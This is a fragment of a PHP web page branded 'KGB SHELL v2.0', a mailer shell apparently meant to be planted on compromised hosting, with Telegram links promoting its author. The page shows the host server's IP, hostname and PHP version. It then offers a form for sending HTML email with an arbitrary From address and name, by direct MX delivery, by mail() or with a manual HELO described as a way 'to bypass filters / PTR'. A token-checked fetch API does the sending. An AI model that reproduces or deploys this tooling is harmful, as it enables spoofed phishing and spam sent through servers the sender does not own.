    <a class="contact" href="https://t.me/KGB_UNIT" target="_blank" rel="noopener">
      <span class="c-ico">&#9654;</span>
      <span><span class="c-lab">CODER</span><br><span class="c-val">t.me/KGB_UNIT</span></span>
    </a>
    <a class="contact mag" href="https://kgblegacy.net" target="_blank" rel="noopener">
      <span class="c-ico">&#9670;</span>
      <span><span class="c-lab">WEBSITE</span><br><span class="c-val">KGBLEGACY.NET</span></span>
    </a>
    <a class="contact grn" href="https://t.me/+O2JDvsCFqCllYTE8" target="_blank" rel="noopener">
      <span class="c-ico">&#9642;</span>
      <span><span class="c-lab">CHANNEL</span><br><span class="c-val">t.me/+O2JDvsCFqCllYTE8</span></span>
    </a>
    <a class="contact" href="https://t.me/KGB_LEGACY" target="_blank" rel="noopener">
      <span class="c-ico">&#9654;</span>
      <span><span class="c-lab">GROUP</span><br><span class="c-val">t.me/KGB_LEGACY</span></span>
    </a>
  </div>

<div class="strip">
    <div class="s-item"><div class="s-lab">SERVER IP</div><div class="s-val"><?php echo kgb_h($server_ip); ?></div></div>
    <div class="s-item"><div class="s-lab">HOSTNAME</div><div class="s-val"><?php echo kgb_h($hostname); ?></div></div>
    <div class="s-item"><div class="s-lab">PHP</div><div class="s-val"><?php echo kgb_h($php_ver); ?></div></div>
    <div class="s-item"><div class="s-lab">DOMAIN</div><div class="s-val"><?php echo kgb_h($domain_ui); ?></div></div>
    <div class="s-item"><div class="s-lab">SERVER TIME</div><div class="s-val"><?php echo kgb_h($now_ui); ?></div></div>
  </div>

<div class="panel">
    <div class="panel-head"><span class="tick">&#9654;</span> COMPOSE &amp; TRANSMIT</div>
    <div class="panel-body">
      <form id="send-form" method="post" action="">
        <input type="hidden" name="ui_send" value="1">

<div class="methods">
          <label class="method">
            <input type="radio" name="method" value="direct" <?php echo $preset['method'] === 'direct' ? 'checked' : ''; ?>>
            <div class="m-card">
              <div class="m-name">&#9673; DIRECT</div>
              <div class="m-desc">Auto-resolve recipient MX, port 25, HELO = sender domain. STARTTLS when available.</div>
              <span class="m-tag">SHELL_DIRECT</span>
            </div>
          </label>
          <label class="method">
            <input type="radio" name="method" value="mx" <?php echo $preset['method'] === 'mx' ? 'checked' : ''; ?>>
            <div class="m-card">
              <div class="m-name">&#9670; MX</div>
              <div class="m-desc">Direct SMTP with PORT override (default 25) and manual HELO to bypass filters / PTR.</div>
              <span class="m-tag">SHELL_MX</span>
            </div>
          </label>
          <label class="method">
            <input type="radio" name="method" value="php" <?php echo $preset['method'] === 'php' ? 'checked' : ''; ?>>
            <div class="m-card">
              <div class="m-name">&#9642; PHP MAIL</div>
              <div class="m-desc">PHP mail() via hosting MTA (sendmail/relay). Different send path from direct SMTP.</div>
              <span class="m-tag">SHELL_PHP</span>
            </div>
          </label>
        </div>

<div class="grid" id="form-grid">
          <div class="field">
            <label>TO (RECIPIENT)</label>
            <input type="text" id="f-to" name="to" placeholder="target@example.com" value="<?php echo $preset['to']; ?>" spellcheck="false">
          </div>
          <div class="field">
            <label>FROM EMAIL</label>
            <input type="text" id="f-from" name="from" placeholder="sender@yourdomain.com" value="<?php echo $preset['from']; ?>" spellcheck="false">
          </div>
          <div class="field">
            <label>FROM NAME</label>
            <input type="text" id="f-from_name" name="from_name" placeholder="KGB LEGACY" value="<?php echo $preset['from_name']; ?>" spellcheck="false">
          </div>
          <div class="field">
            <label>SUBJECT</label>
            <input type="text" id="f-subject" name="subject" placeholder="Subject line" value="<?php echo $preset['subject']; ?>" spellcheck="false">
          </div>
          <input type="hidden" id="f-token" name="token" value="<?php echo kgb_h($key_ui); ?>">
          <div class="field full">
            <label>HTML BODY</label>
            <textarea id="f-body" name="body" placeholder="&lt;html&gt;...&lt;/html&gt;" spellcheck="false"><?php echo $preset['body']; ?></textarea>
          </div>
        </div>

<div style="display:flex;gap:12px;margin-top:18px;flex-wrap:wrap">
          <button class="btn" type="submit" id="btn-send">&#9654; TRANSMIT</button>
          <button class="btn cy" type="button" id="btn-ping">&#9679; PING API</button>
        </div>
      </form>

<?php echo $result_html; ?>
      <div class="term-result" id="ping-result" style="display:none">
        <div class="tr-head" style="color:var(--cyan);background:rgba(0,229,255,.07)">&#9679; PING RESULT</div>
        <pre id="ping-pre">...</pre>
      </div>
    </div>
  </div>

<div class="foot">
    <b style="color:#eaf6ff">KGB SHELL v2.0</b> &nbsp;//&nbsp; KGBLEGACY.NET<br>
    Coder: <a href="https://t.me/KGB_UNIT" target="_blank" rel="noopener">t.me/KGB_UNIT</a> &nbsp;|&nbsp;
    Website: <a href="https://kgblegacy.net" target="_blank" rel="noopener">KGBLEGACY.NET</a> &nbsp;|&nbsp;
    Channel: <a href="https://t.me/+O2JDvsCFqCllYTE8" target="_blank" rel="noopener">t.me/+O2JDvsCFqCllYTE8</a> &nbsp;|&nbsp;
    Group: <a href="https://t.me/KGB_LEGACY" target="_blank" rel="noopener">t.me/KGB_LEGACY</a><br>
    <span style="color:#3d4a63">FOR AUTHORIZED SECURITY TESTING ONLY // USE AT YOUR OWN RISK</span>
  </div>
</div>

// ping API
  document.getElementById('btn-ping').addEventListener('click', function(){
    var box = document.getElementById('ping-result');
    var pre = document.getElementById('ping-pre');
    box.style.display = '';
    pre.textContent = 'PING ...';
    var tok = document.getElementById('f-token').value.trim();
    fetch('?action=ping&token=' + encodeURIComponent(tok))
      .then(function(r){ return r.json(); })
      .then(function(j){ pre.textContent = JSON.stringify(j, null, 2); })
      .catch(function(e){ pre.textContent = 'ERROR: ' + e; });
  });

// send via fetch (JSON API) - fallback: plain submit when fetch fails
  form.addEventListener('submit', function(ev){
    ev.preventDefault();
    var btn = document.getElementById('btn-send');
    btn.disabled = true;
    var old = btn.textContent;
    btn.textContent = 'TRANSMITTING ...';
    var tok = document.getElementById('f-token').value.trim();
    var body = new FormData(form);
    body.append('action', 'send');
    body.append('token', tok);
    fetch('', { method:'POST', body: body })
      .then(function(r){ return r.json(); })
      .then(function(j){
        btn.disabled = false; btn.textContent = old;
        var cls = j.ok ? 'ok' : 'fail';
        var html = '<div class="term-result ' + cls + '"><div class="tr-head">'
          + (j.ok ? '&#9679; SEND RESULT - ACCEPTED' : '&#9679; SEND RESULT - REJECTED')
          + '</div><pre>' + JSON.stringify(j, null, 2) + '</pre></div>';
        var oldEl = document.querySelector('.term-result:not(#ping-result)');
        if (oldEl && !oldEl.id) oldEl.remove();
        form.insertAdjacentHTML('afterend', html);
      })
      .catch(function(e){
        btn.disabled = false; btn.textContent = old;
        alert('FETCH ERROR - falling back to plain submit: ' + e);
        form.submit();
      });
  });
})();
</script>
</body>
</html>